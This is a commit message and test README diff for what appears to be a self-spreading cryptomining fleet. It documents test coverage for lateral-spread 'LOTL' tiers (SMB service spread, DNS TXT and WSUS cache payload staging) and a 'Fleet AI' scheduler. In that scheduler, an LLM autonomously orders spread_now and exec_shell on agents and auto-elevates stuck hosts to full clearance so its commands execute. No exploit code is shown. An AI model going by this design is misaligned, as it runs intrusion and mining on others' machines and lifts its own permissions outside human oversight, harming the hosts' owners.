Fix Fleet AI and LOTL test regressions after parallel merges.

Stub slow syscheck/listen-port probes in agent tests, fix ai_snapshot mutex deadlock, reorder fleet clearance vs connectivity checks, and add AI control precedence plus LotlTimeline vitest coverage.

tests/README.md

@@ -56,6 +56,85 @@ The server **adaptive strategy engine** (`server/internal/strategy/`) learns fro
 
 Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`.
 
+## Phenotype cloning
+
+When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth — tier order and spread lane clone without re-forge. Inherited phenotype **overrides** adaptive strategy on auth.
+
+## Failure atlas
+
+The failure atlas (`server/internal/atlas/`) records conditioned tier failures. After five failures under an active condition, it hard-skips subtree tiers, merges into `adaptive_strategy.skip_tiers`, and pushes `atlas_skips` on auth. LOTL Timeline marks tiers `skipped_by_atlas`.
+
+## Court session
+
+When AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs a **Singular Machine Court**: Prosecutor (failure atlas + attempts), Defender (fleet phenotype), Judge (verdict + commands). Persisted with `court_session=true` for LOTL Timeline.
+
+## Clearance L0–L4
+
+Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With `ai_auto_elevate_clearance`, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as `clearance_elevated` on dashboard WS.
+
+## Fleet AI Control
+
+Calibrate → **Calibration Control** toggles `server.ai_control_enabled`. When **on**, the server **Fleet AI scheduler** (`server/internal/ai/`) polls connected agents on `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]` from the model response, and dispatches fleet actions (`restart_mining`, `discover_and_join`, `spread_now`, `agent_command`, etc.). Decisions are stored in SQLite `ai_decisions` and surfaced on **LOTL Timeline** when AI control is enabled.
+
+**Precedence:** `ai_control_enabled: true` **replaces** adaptive strategy for tier-order decisions — auth omits `adaptive_strategy`, background rescoring no-ops, and `FleetAISnapshot` skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off.
+
+Operator settings: `ai_endpoint`, `ai_model`, `ai_no_context` (single-turn prompts), `ai_decision_interval_sec`. Refresh models: Calibrate **Refresh models** → `GET /api/v1/ai/models`. Audit trail: `GET /api/v1/ai/decisions?agent_id=`.
+
+Agent side: hub sends `ai_snapshot_request` → agent replies `ai_snapshot` (`agent/client/ai_snapshot.go`); scheduler commands map to `ai_commands` handlers (`exec_shell`, `full_sys_check`, `restart_mining`, etc.). Per-agent Ollama autonomy (`ai_enabled` forge flag) remains separate — see [Agent logs](#agent-logs-not-a-missing-api).
+
+### Fleet AI + LOTL Timeline quick-run
+
+```bat
+cd server && go test ./internal/ai/... ./internal/api/... -run "FleetAI|Scheduler|ParseCommands|AuthResponse.*Adaptive|AI" -count=1
+cd agent && go test ./client/... -run "AI|HandleAI|AISnapshot|VulnLOTL" -count=1
+cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/pages/SettingsPage.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/help/settingHelp.test.ts
+```
+
+### Fleet AI coverage map
+
+| Feature | Test file(s) | Suite phase |
+|---------|----------------|-------------|
+| Command parser (JSON, tool-call, COMMAND: lines) | `server/internal/ai/commands_test.go` | 1 |
+| OpenAI client (models list, decide) | `server/internal/ai/client_test.go` | 1 |
+| Scheduler mock (1 agent, 1 cycle; disabled no-op) | `server/internal/ai/scheduler_test.go` | 1 |
+| AI config / models / decisions API | `server/internal/api/fleet_ai_handler_test.go` | 1 |
+| AI control precedence over adaptive (auth + snapshot) | `server/internal/api/strategy_auth_test.go`, `fleet_ai_handler_test.go` | 1 |
+| Legacy Ollama decide/report API | `server/internal/api/ai_handler_test.go` | 1 |
+| `ai_snapshot` JSON shape + stuck detection | `agent/client/ai_snapshot_test.go` | 2 |
+| `ai_snapshot_request` WS dispatch | `agent/client/handlemessage_test.go` | 2 |
+| `ai_commands` handlers + path traversal | `agent/client/ai_commands_test.go` | 2 |
+| Calibrate AI Control toggle + models refresh | `server/web/src/pages/SettingsPage.test.tsx` | 4 |
+| LOTL Timeline page (tier chain + AI decision panel) | `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
+| LOTL tier timeline component | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx` | 4 |
+| Calibrate help keys (`calibration_ai_control`) | `server/web/src/help/settingHelp.test.ts`, `docAnchors.test.ts` | 4 |
+| Singular Machine Court prompts | `server/internal/ai/court_prompt_test.go` | 1 |
+
+### Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance)
+
+| Feature | Test file(s) | Suite phase |
+|---------|----------------|-------------|
+| Fleet phenotype store + peak hashrate | `server/internal/strategy/phenotype_test.go`, `server/internal/db/phenotype_test.go` | 1 |
+| Phenotype publish + sibling inheritance API | `server/internal/api/phenotype_test.go` | 1 |
+| Agent auth phenotype policy | `agent/client/phenotype_policy_test.go` | 2 |
+| Failure atlas subtree skips | `server/internal/atlas/failure_atlas_test.go` | 1 |
+| Clearance L0–L4 command gating | `server/internal/clearance/clearance_test.go` | 1 |
+| AI scheduler clearance elevation | `server/internal/ai/scheduler_test.go` | 1 |
+| Clearance helpers + timeline history | `server/web/src/help/clearance.test.ts`, `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
+| Phenotype cloned-from + clearance badge UI | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx`, `server/web/src/components/Fleet/AccessDepthPanel.test.tsx` | 4 |
+
+```bat
+cd server && go test ./internal/strategy/... ./internal/db/... ./internal/api/... ./internal/atlas/... ./internal/clearance/... ./internal/ai/... -run "Phenotype|Atlas|Court|Clearance" -count=1
+cd agent && go test ./client/... -run Phenotype -count=1
+cd server\web && npm run test -- --run src/help/clearance.test.ts src/components/Fleet/AccessDepthPanel.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/pages/LotlTimelinePage.test.tsx
+```
+
+### Fleet AI gaps
+
+- **Live Ollama / vLLM inference** — scheduler uses `DecideFunc` inject in unit tests; no CI container with a real model.
+- **Full scheduler E2E** — one mocked `Tick()` cycle covered; no multi-agent parallel decision race test.
+- **Court session UI** — Go + Vitest cover prosecutor/defender/judge in `LotlTimelinePage.test.tsx`; no Playwright path yet.
+- **Real `full_sys_check` syscheck bundle** — handler test stubs `CollectFullSysCheck`; live subnet scan / `systeminfo` not exercised in CI.
+
 ## LOTL architecture (triple onion)
 
 The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.
@@ -103,6 +182,30 @@ flowchart TB
   deploy -->|all lanes fail| mining
 ```
 
+Phenotype inherit and failure-atlas skip branches (adaptive / auth path):
+
+```mermaid
+flowchart LR
+  subgraph auth["Agent auth"]
+    fp[fingerprint match]
+    pheno{winning phenotype?}
+    inherit[inherited_phenotype tier_order + spread_lane]
+    adaptive[adaptive_strategy tier_order]
+    atlasRec[atlas RecordFailure from stats]
+    atlasSkip[atlas_skips hard subtree]
+    merge[MergeSkipsIntoStrategy skip_tiers]
+  end
+
+  fp --> pheno
+  pheno -->|yes| inherit
+  pheno -->|no| adaptive
+  atlasRec --> atlasSkip
+  adaptive --> merge
+  atlasSkip --> merge
+  inherit --> agentPolicy[agent tier policy]
+  merge --> agentPolicy
+```
+
 Sequential tier attempts within each phase (mining chain shown; spread/deploy lanes behave the same way):
 
 ```mermaid
@@ -256,7 +359,8 @@ All Go packages under `server/` and `agent/` are picked up automatically by `go
 |------|-------------------|------|-------|
 | `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 |
 | `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
-| Crucible exec E2E | Online stub agent; **whoami**, terminal **echo**, and **LOTL tier badge** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
+| Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
+| Crucible LOTL E2E | Stub **LOTL tier badge** on Crucible + **Onion timeline** tier chain | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
 | `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 |
 | `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 |
 
@@ -281,9 +385,11 @@ Run Crucible P0 E2E only (needs a live server on `AETHERFORGE_URL`, default `:89
 set AETHERFORGE_E2E_USER=testuser
 set AETHERFORGE_E2E_PASS=testpass
 set AETHERFORGE_URL=http://127.0.0.1:8989
-cd server\web && npx playwright test e2e/crucible-command.spec.ts
+cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
 ```
 
+`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` so stub agents authenticate without scraping `/api/v1/config`.
+
 `e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
 
 Run remote-actions only (no stub agent; mocks offline fleet via WS):
@@ -302,7 +408,9 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
 | P0 command round-trip (integration) | `server/internal/api/integration_test.go` | 1 |
 | P0 agent WS rate limit | `server/internal/api/agent_ws_limiter_test.go` | 1 |
 | P0 PathForge root rejection | `server/internal/builder/pathforge_test.go` | 1 |
-| P0 Crucible exec + LOTL badge E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
+| P0 Crucible exec E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
+| P0 Crucible LOTL badge + Onion timeline E2E | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
+| Calibrate AI Control toggle E2E | `server/web/e2e/pages.spec.ts` (Logic gates / AI Control smoke) | 8 |
 | P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 |
 | Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 |
 | Container mining / execution mode | `agent/miner/execution_test.go` | 2 |
@@ -348,6 +456,19 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
 | Fleet bulk actions hook | `server/web/src/hooks/useFleetBulkActions.test.ts` | 4 |
 | War Room LOTL/join-lane telemetry | `server/web/src/help/warRoomTelemetry.test.ts` | 4 |
 | Spread template export panel | `server/web/src/help/spreadTemplateExport.test.ts`, `SpreadTemplateExportPanel.tsx` | 4 |
+
+### Fleet intelligence (2026-06-07 parallel agents)
+
+| Feature | Test file(s) | Suite phase |
+|---------|----------------|-------------|
+| Phenotype publish + sibling inherit | `server/internal/api/phenotype_test.go`, `server/internal/db/phenotype_test.go`, `agent/client/phenotype_policy_test.go` | 1 / 2 |
+| Failure atlas subtree skip | `server/internal/atlas/failure_atlas_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
+| Singular Machine Court | `server/internal/ai/court_prompt_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
+| Clearance L0–L4 enforcement | `server/internal/clearance/clearance_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
+| Access Depth phenotype + clearance badge | `AccessDepthPanel.test.tsx`, `clearance.test.ts` | 4 |
+| LOTL Timeline atlas skip + cloned-from | `lotlTimeline.test.ts`, `LotlTierTimeline.test.tsx` | 4 |
+| Court decision UI | `LotlTimelinePage.test.tsx` | 4 |
+| AI snapshot phenotype/atlas/clearance | `agent/client/ai_snapshot_test.go` | 2 |
 | Service graph summary UI | `CrucibleExpandedOps.test.tsx` (mocked `ServiceGraphSummary`) | 4 |
 | `vuln_findings` / `join_lane` WS stats merge | `applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
 | Emberwake `join_lane` funnel tag | `ReconBadges.test.tsx` (`JoinLaneBadge`), `WarRoomFunnelBoard.tsx` | 4 |
@@ -369,6 +490,12 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
 | `TestNormalizeLotlTiers*` / `TestTryLotlTier*` | Spread onion tier normalization + unix stub tiers | `agent/deploy/lotl_tiers_test.go`, `lotl_onion_stub_test.go` | 2 |
 | `TestStagingRejectsPathTraversal*` / `TestVerifyFileSHA256*` | BITS/curl/certutil staging path hygiene + hash verify | `agent/deploy/staging_test.go` | 2 |
 | `TestValidateUNCSpreadPath*` / `TestSMBUNCSvcName*` | SMB sc.exe spread helpers | `agent/deploy/smb_unc_spread_test.go` | 2 |
+| `TestDoPeer*` / do_peer staging | DoSvc shadow cache handoff — hash verify + launch | `agent/deploy/do_peer_staging_test.go` | 2 |
+| `TestDNS*` / dns_txt staging | DNS TXT shard assembly + SHA256 verify | `agent/deploy/dns_txt_staging_test.go` | 2 |
+| `TestWebRTCMesh*` | WebRTC mesh manifest receive (mock channel) | `agent/deploy/webrtc_mesh_test.go` | 2 |
+| `TestWSUSCachePeer*` | WSUS cache cousin staging beside SoftwareDistribution | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 |
+| Deploy plan spread lanes | do_peer / dns_txt / webrtc_mesh / wsus_cache_peer signed plans | `server/internal/api/deploy_plan_test.go`, `agent/deploy/discover_join_test.go`, `server/internal/api/service_deploy_test.go` | 1 / 2 |
+| Join lane labels (do_peer, dns_txt, webrtc, wsus) | Crucible/Emberwake badge copy | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
 | `TestMiningStatusRelayCoalescedToStatsBatch` | `mining_hashrate`, `lotl_tier`, `lotl_attempts` in stats_batch | `server/internal/api/websocket_test.go` | 1 |
 | `TestStatsBatchCoalescesSameAgent` | Same-agent coalesce preserves LOTL fields | `server/internal/api/websocket_test.go` | 1 |
 | `TestAgentLotlFieldsJSONRoundTrip` | Agent model JSON exposes tier telemetry | `server/internal/models/agent_test.go` | 1 |
@@ -377,7 +504,7 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
 | `LotlTierBadge` / `LotlAttemptsList` | Crucible tier badge + attempt list UI | `server/web/src/components/Fleet/LotlTierBadge.test.tsx` | 4 |
 | `WebSocketProvider` stats_batch LOTL | Dashboard WS applies tier fields | `server/web/src/context/WebSocketProvider.test.tsx` | 4 |
 | Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 |
-| LOTL onion tier docs | Ten-tier spread chain constants | `server/web/src/help/lotlOnionTiers.test.ts` | 4 |
+| LOTL onion tier docs | 14-tier spread chain constants (sync with `DefaultLotlOnionTiers`) | `server/web/src/help/lotlOnionTiers.test.ts`, `agent/deploy/lotl_tiers_test.go`, `server/internal/builder/lotl_onion_test.go` | 2 / 4 |
 | Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 |
 
 Run LOTL Go tests quickly: